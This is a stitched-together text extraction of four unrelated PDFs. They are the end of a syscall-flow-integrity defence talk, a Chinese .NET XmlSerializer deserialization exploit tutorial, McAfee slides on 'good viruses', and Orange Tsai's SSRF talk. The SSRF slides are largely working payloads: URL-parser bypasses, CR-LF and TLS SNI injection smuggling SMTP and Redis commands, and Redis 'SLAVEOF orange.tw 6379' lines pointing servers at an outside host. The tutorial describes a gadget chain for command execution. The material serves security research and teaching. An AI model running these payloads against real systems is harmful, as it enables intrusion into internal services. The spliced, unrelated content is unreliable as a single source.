0xb4 :
. . .
Function bar1
0x11 :
. . .
0x12 :
s y s c a l l ( read ,
. . . ) ;
0x13 :
return ;
Function bar2
0xa1 :
. . .
0xa2 :
s y s c a l l ( stat ,
. . . ) ;
0xa3 :
return ;
Coarse-grained SFIP
t r a n s i t i o n s :
{
”open” :
[ read , s t a t ]
}
o r i g i n s
:
{
”open” :
[0 x02 ,
0xb2 ] ,
” read ” :
[0 x12 ] ,
” s t a t ” :
[0 xa2 ]
}
23
Claudio Canella (@cc0x1f)
Coarse- to Fine-Grained SFIP
Location A
Location B
Function foo1
0x01 :
. . .
0x02 :
s y s c a l l ( open ,
. . . ) ;
0x03 :
bar1 () ;
0x04 :
. . .
Function foo2
0xb1 :
. . .
0xb2 :
s y s c a l l ( open ,
. . . ) ;
0xb3 :
bar2 () ;
0xb4 :
. . .
Function bar1
0x11 :
. . .
0x12 :
s y s c a l l ( read ,
. . . ) ;
0x13 :
return ;
Function bar2
0xa1 :
. . .
0xa2 :
s y s c a l l ( stat ,
. . . ) ;
0xa3 :
return ;
Fine-grained SFIP
t r a n s i t i o n s :
{
”open@0x02” :
[ read@0x12 ] ,
”open@0xb2” :
[ stat@0xa2 ] ,
}
23
Claudio Canella (@cc0x1f)
Coarse- to Fine-Grained SFIP
Location A
Location B
Function foo1
0x01 :
. . .
0x02 :
s y s c a l l ( open ,
. . . ) ;
0x03 :
bar1 () ;
0x04 :
. . .
Function foo2
0xb1 :
. . .
0xb2 :
s y s c a l l ( open ,
. . . ) ;
0xb3 :
bar2 () ;
0xb4 :
. . .
Function bar1
0x11 :
. . .
0x12 :
s y s c a l l ( read ,
. . . ) ;
0x13 :
return ;
Function bar2
0xa1 :
. . .
0xa2 :
s y s c a l l ( stat ,
. . . ) ;
0xa3 :
return ;
Fine-grained SFIP
t r a n s i t i o n s :
{
”open@0x02” :
[ read@0x12 ] ,
”open@0xb2” :
[ stat@0xa2 ] ,
}
23
Claudio Canella (@cc0x1f)
Coarse- to Fine-Grained SFIP
Location A
Location B
Function foo1
0x01 :
. . .
0x02 :
s y s c a l l ( open ,
. . . ) ;
0x03 :
bar1 () ;
0x04 :
. . .
Function foo2
0xb1 :
. . .
0xb2 :
s y s c a l l ( open ,
. . . ) ;
0xb3 :
bar2 () ;
0xb4 :
. . .
Function bar1
0x11 :
. . .
0x12 :
s y s c a l l ( read ,
. . . ) ;
0x13 :
return ;
Function bar2
0xa1 :
. . .
0xa2 :
s y s c a l l ( stat ,
. . . ) ;
0xa3 :
return ;
Fine-grained SFIP
t r a n s i t i o n s :
{
”open@0x02” :
[ read@0x12 ] ,
”open@0xb2” :
[ stat@0xa2 ] ,
}
23
Claudio Canella (@cc0x1f)
Proof-of-Concept
You can find our proof-of-concept implementation of SysFlow on:
• https://github.com/SFIP/SFIP
24
Claudio Canella (@cc0x1f)
More Details
More details in the paper
• More implementation details
• More extensive security discussion
• . . .
[Can+22]
Claudio Canella, Sebastian Dorn, Daniel Gruss, Michael Schwarz.
SFIP: Coarse-Grained Syscall-Flow-Integrity Protection in Modern Systems.
25
Claudio Canella (@cc0x1f)
Recap
SFIP provides
• integrity to user-kernel transitions
26
Claudio Canella (@cc0x1f)
Recap
SFIP provides
• integrity to user-kernel transitions
• security via syscall transition and origin checks
26
Claudio Canella (@cc0x1f)
Recap
SFIP provides
• integrity to user-kernel transitions
• security via syscall transition and origin checks
and
• is fully automatized
26
Claudio Canella (@cc0x1f)
Recap
SFIP provides
• integrity to user-kernel transitions
• security via syscall transition and origin checks
and
• is fully automatized
• has minimal runtime overhead
26
Claudio Canella (@cc0x1f)
Go With the Flow
Enforcing Program Behavior Through Syscall Sequences and Origins
Claudio Canella (@cc0x1f)
August 11, 2022
Graz University of Technology
References
[Can+22]
C. Canella, S. Dorn, D. Gruss, and M. Schwarz. SFIP: Coarse-Grained
Syscall-Flow-Integrity Protection in Modern Systems. In: arXiv:2202.13716 (2022).
27
Claudio Canella (@cc0x1f) | pdf |
云影实验室
1 / 12
.NET 高级代码审计(第一课)XmlSerializer 反序列漏洞
Ivan1ee@360 云影实验室
2019 年 03 月 01 日
云影实验室
2 / 12
0X00 前言
在.NET 框架中的 XmlSerializer 类是一种很棒的工具,它是将高度结构化的 XML 数据
映射为 .NET 对象。XmlSerializer 类在程序中通过单个 API 调用来执行 XML 文档和对
象之间的转换。转换的映射规则在 .NET 类中通过元数据属性来表示,如果程序开发人
员使用 Type 类的静态方法获取外界数据,并调用 Deserialize 反序列化 xml 数据就会
触发反序列化漏洞攻击(例如 DotNetNuke 任意代码执行漏洞 CVE-2017-9822),本
文笔者从原理和代码审计的视角做了相关脑图介绍和复现。
0X01 XmlSerializer 序列化
.NET 框架中 System.Xml.Serialization 命名空间下的 XmlSerializer 类可以将 XML 文
档绑定到 .NET 类的实例,有一点需要注意它只能把对象的公共属性和公共字段转换为
XML 元素或属性,并且由两个方法组成:Serialize() 用于从对象实例生成 XML;
Deserialize() 用于将 XML 文档分析成对象图,被序列化的数据可以是数据、字段、数
组、以及 XmlElement 和 XmlAttribute 对象格式的内嵌 XML。具体看下面 demo
云影实验室
3 / 12
XmlElement 指定属性要序列化为元素,XmlAttribute 指定属性要序列化为特性,
XmlRoot 特性指定类要序列化为根元素;通过特性类型的属性、影响要生成的名称、
名称空间和类型。再创建一个 TestClass 类的实例填充其属性序列化为文件,
XmlSerializer.Serialize 方法重载可以接受 Stream、TextWrite、XmlWrite 类,最终
生成的 XML 文件列出了 TestClass 元素、Classname 特性和其它存储为元素的属性:
0x02 XmlSerialize 反序列化
反序列过程:将 xml 文件转换为对象是通过创建一个新对象的方式调用
XmlSerializer.Deserialize 方法实现的,在序列化最关键的一环当属 new
XmlSerializer 构造方法里所传的参数,这个参数来自 System.Type 类,通过这个类可
以访问关于任意数据类型的信息,指向任何给定类型的 Type 引用有以下三种方式。
云影实验室
4 / 12
2.1、typeof
实例化 XmlSerializer 传入的 typeof(TestClass) 表示获取 TestClass 类的 Type,
typeof 是 C#中的运算符,所传的参数只能是类型的名称,而不能是实例化的对象,如
下 Demo
通过 typeof 获取到 Type 之后就能得到该类中所有的 Methods、Members 等信息。
下图运行 Debug 时,弹出消息对话框显示当前成员 Name 的值。
2.2、object.Type
在.NET 里所有的类最终都派生自 System.Object,在 Object 类中定义了许多公有和受
保护的成员方法,这些方法可用于自己定义的所有其他类中,GetType 方法就是其中的
一个,该方法返回从 System.Type 派生的类的一个实例,因为可以提供对象成员所属类
的信息,包括基本类型、方法、属性等,上述案例中实例化 TestClass,再获取当前实
例的 Type,如下 Demo
云影实验室
5 / 12
2.3、Type.GetType
第三种方法是 Type 类的静态方法 GetType,这个方法允许外界传入字符串,这是重大
利好,只需要传入全限定名就可以调用该类中的方法、属性等
Type.GetType 传入的参数也是反序列化产生的漏洞污染点,接下来就是要去寻找可以
被用来攻击使用的类。
0X03 打造攻击链
首先放上攻击链打造成功后的完整 Demo,这段 Demo 可以复用在任意地方(这里不
涉及.NET Core、MVC),如下图
只要 XmlSerializer 存在反序列化漏洞就可用下面 Demo 中的内容,涉及到三个主要的
技术点,以下分别来介绍原理。
3.1、ObjectDataProvider
ObjectDataProvider 类,它位于 System.Windows.Data 命名空间下,可以调用任意
被引用类中的方法,提供成员 ObjectInstance 用类似实例化类、成员 MethodName
云影实验室
6 / 12
调用指定类型的方法的名称、成员 MethodParameters 表示传递给方法的参数,参考
下图
再给 TestClass 类定义一个 ClassMethod 方法,代码实现调用
System.Diagnostics.Process.Start 启动新的进程弹出计算器。如果用 XmlSerializer
直接序列化会抛出异常,因为在序列化过程中 ObjectInstance 这个成员类型未知,不
过可以使用 ExpandedWrapper 扩展类在系统内部预先加载相关实体的查询来避免异
常错误,改写 Demo
生成 data.xml 内容如下:
攻击链第一步就算完成,但美中不足的是因笔者在测试环境下新建的 TestClass 类存在
漏洞,但在生产情况下是非常复杂的,需要寻求 Web 程序中存在脆弱的攻击点,为了
使攻击成本降低肯定得调用系统类去达到命令执行,所以需要引入下面的知识。
3.2、ResourceDictionary
ResourceDictionary,也称为资源字典通常出现在 WPF 或 UWP 应用程序中用来在多
个程序集间共享静态资源。既然是 WPF 程序,必然设计到前端 UI 设计语言 XAML。
XAML 全称 Extensible Application Markup Language (可扩展应用程序标记语言) 基
云影实验室
7 / 12
于 XML 的,且 XAML 是以一个树形结构作为整体,如果对 XML 了解的话,就能很快
的掌握,例如看下面 Demo
第一个标签 ResourceDictionary,xmlns:Runtime 表示读取 System.Diagnostics
命令空间的名称起个别名为 Runtime
第二个标签 ObjectDataProvider 指定了三个属性,x:key 便于条件检索,意义不
大但必须得定义;ObjectType 用来获取或设置要创建其实例的对象的类型,并使
用了 XAML 扩展;x:Type 相当于 C#中 typeof 运算符功能,这里传递的值是
System.Diagnostics.Process; MethodName 用来获取或设置要调用的方法的名
称,传递的值为 System.Diagnostics.Process.Start 方法用来启动一个进程。
第三个标签 ObjectDataProvider.MethodParameters 内嵌了两个方法参数标签,
通过 System:String 分别指定了启动文件和启动时所带参数供 Start 方法使用。
介绍完攻击链中 ResourceDictionary 后,攻击的 Payload 主体已经完成,接下来通过
XamlReader 这个系统类所提供的 XML 解析器来实现攻击。
3.3、XamlReader
XamlReader 位于 System.Windows.Markup 空间下,顾名思义就是用来读取 XAML
文件,它是默认的 XAML 读取器,通过 Load 读取 Stream 流中的 XAML 数据,并返
回作为根对象,而另外一个 Parse 方法读取指定字符串中的 XAML 输入,也同样返回
作为根对象,自然 Parse 方法是我们关心和寻求的。
云影实验室
8 / 12
只需使用 ObjectDataProvider 的 ObjectInstance 方法实例化 XamlReader,再指定
MethodName 为 Parse,并且给 MethodParameters 传递序列化之后的资源字典数
据,这样就可以完成 XmlSerializer 反序列化攻击链的打造。
0x04 代码审计视角
从代码审计的角度其实很容易找到漏洞的污染点,通过前面几个小节的知识能发现 序
列化需要满足一个关键条件 Type.GetType,程序必须通过 Type 类的静态方法
GetType,例如以下 demo
云影实验室
9 / 12
首先创建 XmlDocument 对象载入 xml,变量 typeName 通过 Xpath 获取到 Item 节
点的 type 属性的值,并传给了 Type.GetType,紧接着读取 Item 节点内的所有 Xml
数据,最终交给 Deserialize 方法反序列化,这是一个近乎完美的利用点。再来看笔者
在 github 上收集到的 XmlSerializer 反序列化类:XmlSerializeUtil.cs
此处值参数类型为 Type,代码本身没有问题,问题在于程序开发者可能会先定义一个
字符串变量来接受传递的 type 值,通过 Type.GetType(string)返回 Type 对象再传递
进 DeserializeXml,在代码审计的过程中也需要关注此处 type 的来源。
0x05 案例复盘
最后再通过下面案例来复盘整个过程,全程展示在 VS 里调试里通过反序列化漏洞弹出
计算器。
1.
输入 http://localhost:5651/Default?node=root&value=type 加载了远程的
(192.168.231.135) 1.xml 文件
云影实验室
10 / 12
2.
通过 xmlHelper.GetValue 得到 root 节点下的所有 XML 数据
3.
这步最关键,得到 root 节点的 type 属性,并提供给 GetType 方法,
XmlSerializer 对象实例化成功
云影实验室
11 / 12
4.
XmlSerializer.Deserialize(xmlReader) 成功调出计算器
最后附上动图
0x06 总结
由于 XmlSerializer 是系统默认的反序列类,所以在实际开发中使用率还是比较高的,
攻击者发现污染点可控的时候,可以从两个维度去寻找利用的点,第一从 Web 应用程
序中寻求可以执行命令或者写 WebShell 的类和方法;第二就是本文中所说的利用
ObjectDataProvider、ResourceDictionary、XamlReader 组成的攻击链去执行命令
或者反弹 Shell ,最后.NET 反序列化系列课程笔者会同步到
https://github.com/Ivan1ee/ 、https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出
高质量的.NET 反序列化漏洞文章 ,大致课程大纲如下图
云影实验室
12 / 12
欢迎大伙持续关注,交流。 | pdf |
Good Viruses. Evaluating the Risks.
Dr. Igor Muttik | Senior Architect | McAfee | Avert Labs®
2
Good viruses
• It is just technology – neither bad nor good
• What could make it dangerous:
— Lack of control
— Wide availability
• If it is dangerous – it’s bad
— “Atomic bomb” is bad
— “Splitting the atom”?
— “Chain reaction”? (worst because control is lost)
• Can a virus be written accidentally?
• Can a good virus get out of control?
3
Agenda
• “Good virus” idea keeps coming up
• Already.71 – a tool and a virus
(disassembly and operation)
• “Corrupted blood” epidemic in WoW (video)
• W32/Nachi – worm that exploited and patched a
vulnerability
• Pros and cons of harnessing replicating code
• Conclusions
4
Google search for “good virus” and “bad virus”
• People are very receptive to “a good virus” idea
• A lot of “bad virus” searches are emotional (“horrible” and
”awful”)
5
ALREADY.COM – a tool and a worm!
6
ALREADY.COM tool usage
@echo off
rem Start of AUTOEXEC.BAT file
rem Opening commands always execute
ALREADY.COM
IF ERRORLEVEL 1 GOTO skip
rem Things to do once a day go here
:skip
rem Following commands always execute
7
Already.71 – just 71 (0x47) bytes
8
Already.71 – get current date (1st block of 3)
9
Already.71 – compare (2nd block of 3)
10
Already.71 – write itself to disk (3rd block)
11
How does Already.71 spread?
Due to “current folder” concept.
12
A tool
13
Empty folder
14
Execution
15
Replicant!
16
What did we learn?
• Probability of a mistake grows when insecure
programming techniques are used:
— Self-modifying code
— Modifying other programs on disk or in memory
— Using exploits
• Insecure environments are unexpectedly common
17
“Corrupted blood” incident in WoW
18
“Corrupted blood” epidemic (Sep 2005)
• Zul’Gurub
instance
dungeon
(added in
WoW 1.7
for 60+ lvl
players):
19
“Hakkar the Soulflayer” monster
• Casts a
powerful
“Corrupted
blood”
spell
• Infectious!
• Epidemic
started
20
What went wrong?
• Timeline
— WoW 1.7 went out on 13 Sep 2005
— Epidemics started on several servers on 15 Sep 2005
— Source - Hakkar monster from Zul’Gurub instance dungeon
• “Corrupted blood” - spell parameters:
— Damage: 200 HP (60+ level players have 4000-5000 HP)
— Duration: 10 sec (every 2 seconds)
— Radius: 100 yards (infectious with 100% probability!)
— By design it should be very limited in time and space…
— But spreads from a player to a player (+ NPCs and pets)
• And could be “conserved” in an un-summoned pet!
— A design oversight (due to environment complexity)
21
Corrupted blood disease in WoW
• Infected
Ironforge
city:
22
Corrupted blood disease (video)
• Corpses in
the city:
23
Dead characters everywhere (skeletons)
• Fortunately,
in WoW death
is “temporary”
• Game was
effectively
unplayable for
many days – a lot
of upset users
24
Reaction
• Official reaction while preparing a patch:
• Many players excited: ”first proper world event”
• Fix in 1.8 (10 Oct 2005): “Fixed a bug that would allow
Hakkar's Corrupted Blood ability to target pets.”
• Fix in 1.9.3 (07 Feb 2006): “Corrupted Blood now deals
direct damage with a following damage over time effect
and no longer spreads to others in the raid.”
25
What did we learn?
• Replication went out of control (Chernobyl!)
• If it is implemented in a complex environment it is hard to
predict all possible scenarios
— To some extent Already.71 too
— The Morris worm
— Internet is a lot more complex
26
W32/Nachi – a vulnerability-patching worm.
27
W32/Nachi (aka W32/Welchia)
• W32/MSBlaster (aka LovSan) –
11 Aug 2003
• W32/Nachi – released 18 Aug 2003
— Contains code to download and run Microsoft’s
patch for MS03-026 RpcDcom vulnerability
— Overloaded many networks
— But, to give credit to the author, was time-limited
(removes itself in 2004)
— At the time of its “suicide” ~30,000 IPs had W32/Nachi
28
What did we learn?
• Beneficial worms can and will contain bugs
• W32/Nachi lacked control in two areas
— Network load
— Did not die as quickly as was expected
• Internet is a very complex environment
29
To be or not to be? Pros and cons.
30
Pro and contra
• Dr. Bontchev’s «Are "Good" Computer
Viruses Still a Bad Idea?» 1994 paper:
— A useful worm can be created but with all the controls in
place most people would not consider it to be a virus
• Arguments for:
— Compress/encrypt files/disks
— “Maintenance” worm
— Quicker (and forceful) patching
— Remove bad worms
— Better administration through computers’ discovery
— Support human rights (censorship in China)
31
Patching using replication
• Very quick (Warhol and flash) worms
• Patching needs to outrun worm
propagation
• If there is a replicating patch – should
it be released?
• No, because:
— It is technically risky
— In a rush there is unlikely to be enough time for proper QA
— It is legal minefield too
32
Conclusions
• Replicative property is a rather dangerous technology:
— Available to everybody
— Control is hard (WoW, Nachi)
• Can a useful virus be created? Yes.
• Is it dangerous? Yes, and more then we expect.
• Messing with infections or viral properties?
Not a good idea.
33
Key references
• Already:
— http://home.flash.net/~hoselton/pubs/mah_010.txt
• Wow:
— http://www.wowwiki.com/Corrupted_Blood
— http://www.securityfocus.com/news/11330
— http://www.worldofwarcraft.com/patchnotes/patch1p7.html
— http://events.ccc.de/congress/2007/Fahrplan/events/2322.en.html
• Nachi:
— http://vil.nai.com/vil/content/v_100559.htm
— P.Szor “Virus Research and Defense”, Symantec Press, ISBN 0-321-30454-3
• Bad viruses:
— http://www.people.frisk-software.com/~bontchev/papers/goodvir.html
(by V.Bontchev)
— http://www.avertlabs.com/research/blog/index.php/2008/02/18/friendly-worms-facing-frien
(and see a comment by V.Bontchev to this blog)
• Good viruses:
— http://pages.cpsc.ucalgary.ca/~aycock/papers/china.pdf
34
Questions, please
Email: [email protected] | pdf |
A New Era of SSRF - Exploiting URL Parser in
Trending Programming Languages!
Orange Tsai
Taiwan No.1
About Orange Tsai
The most professional red team in Taiwan
About Orange Tsai
The largest hacker conference in Taiwan
founded by chrO.ot
About Orange Tsai
Speaker - Speaker at several security conferences
HITCON, WooYun, AVTokyo
CTFer - CTFs we won champions / in finalists (as team HITCON)
DEFCON, Codegate, Boston Key Party, HITB, Seccon, 0CTF, WCTF
Bounty Hunter - Vendors I have found Remote Code Execution
Facebook, GitHub, Uber, Apple, Yahoo, Imgur
About Orange Tsai
Agenda
Introduction
Make SSRF great again
Issues that lead to SSRF-Bypass
Issues that lead to protocol smuggling
Case studies and Demos
Mitigations
What is SSRF?
Server Side Request Forgery
Bypass Firewall, Touch Intranet
Compromise Internal services
Struts2
Redis
Elastic
Protocol Smuggling in SSRF
Make SSRF more powerful
Protocols that are suitable to smuggle
HTTP based protocol
Elastic, CouchDB, Mongodb, Docker
Text-based protocol
FTP, SMTP, Redis, Memcached
Quick Fun Example
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2
httplib
requests
urllib
Quick Fun Example
Python is so Hard
Quick Fun Example
CR-LF Injection on HTTP protocol
Smuggling SMTP protocol over HTTP protocol
http://127.0.0.1:25/%0D%0AHELO orange.tw%0D%0AMAIL FROM…
>> GET /
<< 421 4.7.0 ubuntu Rejecting open proxy localhost [127.0.0.1]
>> HELO orange.tw
Connection closed
SMTP Hates HTTP Protocol
It Seems Unexploitable
Gopher Is Good
What If There Is No Gopher Support?
HTTPS
What Won't Be Encrypted in a SSL Handshake?
Quick Fun Example
https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/
$ tcpdump -i lo -qw - tcp port 25 | xxd
000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8
000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0....
000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL
000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange. tw..MAI
000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM..........
00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................
CR-LF Injection on HTTPS protocol
Exploit the Unexploitable - Smuggling SMTP over TLS SNI
Quick Fun Example
CR-LF Injection on HTTPS protocol
Exploit the Unexploitable - Smuggling SMTP over TLS SNI
https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/
$ tcpdump -i lo -qw - tcp port 25 | xxd
000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8
000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0....
000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL
000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI
000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM..........
00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................
Quick Fun Example
CR-LF Injection on HTTPS protocol
Exploit the Unexploitable - Smuggling SMTP over TLS SNI
https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/
$ tcpdump -i lo -qw - tcp port 25 | xxd
000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8
000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0....
000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c
+127.0.0.1 ..HEL
000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149
O orange.tw..MAI
000001f0: 4c20 4652 4f4d
2e2e 2e0d 0a11 000b 0004 L FROM..........
00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................
Quick Fun Example
CR-LF Injection on HTTPS protocol
Exploit the Unexploitable - Smuggling SMTP over TLS SNI
https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/
$ tcpdump -i lo -qw - tcp port 25
>>
...5./.0.,.=.j.8.2.........0...+127.0.0.1
<< 500 5.5.1 Command unrecognized: ...5./.0.,.=.j.8.2..0.+127.0.0.1
>>
HELO orange.tw
<< 250 ubuntu
Hello localhost [127.0.0.1], please meet you
>>
MAIL FROM: <[email protected]>
<< 250 2.1.0 <[email protected]>... Sender ok
Make SSRF Great Again
URL Parsing Issues
It's all about the inconsistency between URL parser and requester
Why validating a URL is hard?
1.
Specification in RFC2396, RFC3986 but just SPEC
2.
WHATWG defined a contemporary implementation based on RFC but
different languages still have their own implementations
URL Components(RFC 3986)
scheme
authority
path
query
fragment
foo://example.com:8042/over/there?name=bar#nose
URL Components(RFC 3986)
foo://example.com:8042/over/there?name=bar#nose
(We only care about
HTTP HTTPS)
(It's complicated)
(I don't care)
(I don't care)
scheme
authority
(It's complicated)
path
fragment
query
Big Picture
Libraries/Vulns
CR-LF Injection
URL Parsing
Path
Host
SNI
Port Injection
Host Injection
Path Injection
Python
httplib
💀
💀
💀
Python urllib
💀
💀
💀
Python urllib2
💀
💀
Ruby Net::HTTP
💀
💀
💀
Java net.URL
💀
💀
Perl LWP
💀
💀
NodeJS http
💀
💀
PHP http_wrapper
💀
💀
Wget
💀
💀
cURL
💀
💀
Consider the following PHP code
$url = 'http://' . $_GET[url];
$parsed = parse_url($url);
if ( $parsed[port] == 80 && $parsed[host] == 'google.com') {
readfile($url);
} else {
die('You Shall Not Pass');
}
Abusing URL Parsers
http://127.0.0.1:11211:80/
Abusing URL Parsers
http://127.0.0.1:11211:80/
PHP readfile
Perl LWP
PHP parse_url
Perl URI
Abusing URL Parsers
RFC3986
authority
=
[ userinfo "@" ] host [ ":" port ]
port
=
*DIGIT
host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims
= "!" / "$" / "&" / "'" / "(" / ")" /
"*" / "+" / "," / ";" / "="
Abusing URL Parsers
http://google.com#@evil.com/
Abusing URL Parsers
http://google.com#@evil.com/
PHP parse_url
PHP readfile
Abusing URL Parsers
Several programing languages suffered from this issue
RFC3968 section 3.2
The authority component is preceded by a double slash ("//") and is
terminated by the next slash ("/"), question mark ("?"), or number sign
("#") character, or by the end of the URI
Abusing URL Parsers
How About cURL?
http://[email protected]:[email protected]/
Abusing URL Parsers
http://[email protected]:[email protected]/
cURL
libcurl
NodeJS
URL
Perl
URI
Go
net/url
PHP
parse_url
Ruby
addressable
Abusing URL Parsers
Report the bug to cURL team and get a patch quickly
Bypass the patch with a space
Abusing URL Parsers
http://[email protected] @google.com/
Report Again But…
"curl doesn't verify that the URL is 100% syntactically correct. It is
instead documented to work with URLs and sort of assumes that
you pass it correct input"
Won't Fix
But previous patch still applied on cURL 7.54.0
Abusing URL Parsers
cURL / libcurl
PHP parse_url
💀
Perl URI
💀
Ruby uri
Ruby addressable
💀
NodeJS url
💀
Java net.URL
Python urlparse
Go net/url
💀
Consider the following NodeJS code
NodeJS Unicode Failure
var base = "http://orange.tw/sandbox/";
var path = req.query.path;
if (path.indexOf("..") == -1) {
http.get(base + path, callback);
}
NodeJS Unicode Failure
http://orange.tw/sandbox/NN/passwd
NodeJS Unicode Failure
http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd
NodeJS Unicode Failure
http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd
NodeJS Unicode Failure
http://orange.tw/sandbox/../passwd
/ is new ../ (in NodeJS HTTP)
(U+FF2E) Full width Latin capital letter N
What the ____
NodeJS Unicode Failure
HTTP module prevents requests from CR-LF Injection
Encode the New-lines as URL encoding
http://127.0.0.1:6379/\r\nSLAVEOF orange.tw 6379\r\n
$ nc -vvlp 6379
>> GET /%0D%0ASLAVEOF%20orange.tw%206379%0D%0A HTTP/1.1
>> Host: 127.0.0.1:6379
>> Connection: close
NodeJS Unicode Failure
HTTP module prevents requests from CR-LF Injection
Break the protections by Unicode U+FF0D U+FF0A
http://127.0.0.1:6379/-*SLAVEOF@orange.tw@6379-*
$ nc -vvlp 6379
>> GET /
>> SLAVEOF orange.tw 6379
>>
HTTP/1.1
>> Host: 127.0.0.1:6379
>> Connection: close
GLibc NSS Features
In Glibc source code file resolv/ns_name.c#ns_name_pton()
/*%
* Convert an ascii string into an encoded domain name
as per RFC1035.
*/
int
ns_name_pton(const char *src, u_char *dst, size_t dstsiz)
GLibc NSS Features
RFC1035 - Decimal support in gethostbyname()
void main(int argc, char **argv) {
char *host = "or\\097nge.tw";
struct in_addr *addr = gethostbyname(host)->h_addr;
printf("%s\n", inet_ntoa(*addr));
}
…50.116.8.239
GLibc NSS Features
>>> import socket
>>> host = '\\o\\r\\a\\n\\g\\e.t\\w'
>>> print host
\o\r\a\n\g\e.t\w
>>> socket.gethostbyname(host)
'50.116.8.239'
RFC1035 - Decimal support in gethostbyname()
GLibc NSS Features
void main(int argc, char **argv) {
struct addrinfo *res;
getaddrinfo("127.0.0.1 foo", NULL, NULL, &res);
struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr;
printf("%s\n", inet_ntoa(ipv4->sin_addr));
}
…127.0.0.1
Linux getaddrinfo() strip trailing rubbish followed by whitespaces
GLibc NSS Features
Linux getaddrinfo() strip trailing rubbish followed by whitespaces
Lots of implementations relied on getaddrinfo()
>>> import socket
>>> socket.gethostbyname("127.0.0.1\r\nfoo")
'127.0.0.1'
GLibc NSS Features
Exploit Glibc NSS features on URL Parsing
http://127.0.0.1\tfoo.google.com
http://127.0.0.1%09foo.google.com
http://127.0.0.1%2509foo.google.com
GLibc NSS Features
Exploit Glibc NSS features on URL Parsing
Why this works?
Some library implementations decode the URL twice…
http://127.0.0.1%2509foo.google.com
Exploit Glibc NSS features on Protocol Smuggling
HTTP protocol 1.1 required a host header
$ curl -vvv http://I-am-a-very-very-weird-domain.com
>> GET / HTTP/1.1
>> Host: I-am-a-very-very-weird-domain.com
>> User-Agent: curl/7.53.1
>> Accept: */*
GLibc NSS Features
GLibc NSS Features
Exploit Glibc NSS features on Protocol Smuggling
HTTP protocol 1.1 required a host header
http://127.0.0.1\r\nSLAVEOF orange.tw 6379\r\n:6379/
$ nc -vvlp 6379
>> GET / HTTP/1.1
>> Host: 127.0.0.1
>> SLAVEOF orange.tw 6379
>> :6379
>> Connection: close
GLibc NSS Features
https://127.0.0.1\r\nSET foo 0 60 5\r\n:443/
$ nc -vvlp 443
>> ..=5</.Aih9876.'. #...$...?...).%..g@?>3210...EDCB..
>> .....5'%"127.0.0.1
>> SET foo 0 60 5
Exploit Glibc NSS features on Protocol Smuggling
SNI Injection - Embed hostname in SSL Client Hello
Simply replace HTTP to HTTPS
GLibc NSS Features
Break the Patch of Python CVE-2016-5699
CR-LF Injection in HTTPConnection.putheader()
Space followed by CR-LF?
_is_illegal_header_value = \
re.compile(rb'\n(?![ \t])|\r(?![ \t\n])').search
…
if _is_illegal_header_value(values[i]):
raise ValueError('Invalid header value %r' % (values[i],))
Break the Patch of Python CVE-2016-5699
CR-LF Injection in HTTPConnection.putheader()
Space followed by CR-LF?
Bypass with a leading space
>>> import urllib
>>> url = 'http://0\r\n SLAVEOF orange.tw 6379\r\n :80'
>>> urllib.urlopen(url)
GLibc NSS Features
Break the Patch of Python CVE-2016-5699
Exploit with a leading space
Thanks to Redis and Memcached
GLibc NSS Features
http://0\r\n SLAVEOF orange.tw 6379\r\n :6379/
>> GET / HTTP/1.0
<< -ERR wrong number of arguments for 'get' command
>> Host: 0
<< -ERR unknown command 'Host:'
>>
SLAVEOF orange.tw 6379
<< +OK Already connected to specified master
Abusing IDNA Standard
The problem relied on URL parser and URL requester use
different IDNA standard
IDNA2003
UTS46
IDNA2008
ⓖⓞⓞⓖⓛⓔ.com
google.com
google.com
Invalid
g\u200Doogle.com
google.com
google.com
xn--google-pf0c.com
baß.de
bass.de
bass.de
xn--ba-hia.de
Abusing IDNA Standard
>> "ß".toLowerCase()
"ß"
>> "ß".toUpperCase()
"SS"
>> ["ss", "SS"].indexOf("ß")
false
>> location.href = "http://wordpreß.com"
The problem relied on URL parser and URL requester use
different IDNA standard
Case Studies
Abusing URL Parsers - Case Study
WordPress
1.
Paid lots of attentions on SSRF protections
2.
We found 3 distinct ways to bypass the protections
3.
Bugs have been reported since Feb. 25, 2017 but still unpatched
4.
For the Responsible Disclosure Process, I will use MyBB as following
case study
Abusing URL Parsers - Case Study
The main concept is finding different behaviors among URL
parser, DNS checker and URL requester
URL parser
DNS checker
URL requester
WordPress
parse_url()
gethostbyname()
*cURL
vBulletin
parse_url()
None
*cURL
MyBB
parse_url()
gethostbynamel()
*cURL
* First priority
Abusing URL Parsers - Case Study
SSRF-Bypass tech #1
Time-of-check to Time-of-use problem
1
$url_components = @parse_url($url);
2
if(
3
!$url_components ||
4
empty($url_components['host']) ||
5
